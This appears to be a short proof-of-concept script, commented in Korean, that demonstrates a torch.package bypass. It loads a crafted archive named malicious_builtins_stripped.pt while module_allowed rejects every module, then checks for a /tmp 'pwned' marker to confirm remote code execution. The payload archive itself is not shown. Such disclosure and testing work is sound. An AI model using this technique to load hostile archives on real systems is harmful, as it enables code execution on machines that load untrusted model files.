File size: 603 Bytes
c99e147
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import torch.package, os

MARKER = "/tmp/torch_package_builtins_bypass_pwned"

def strict_module_allowed(module_name):
    print(f"  [defender] module_allowed 호출됨: {module_name!r} -> False로 거부")
    return False

print("[victim] extern_modules가 빈 파일인 조작된 아카이브를, module_allowed=False로 완전히 잠근 상태에서 로드...")
importer = torch.package.PackageImporter("malicious_builtins_stripped.pt", module_allowed=strict_module_allowed)
obj = importer.load_pickle("archive", "data.pkl")
print("loaded:", obj)
print("RCE marker exists:", os.path.exists(MARKER))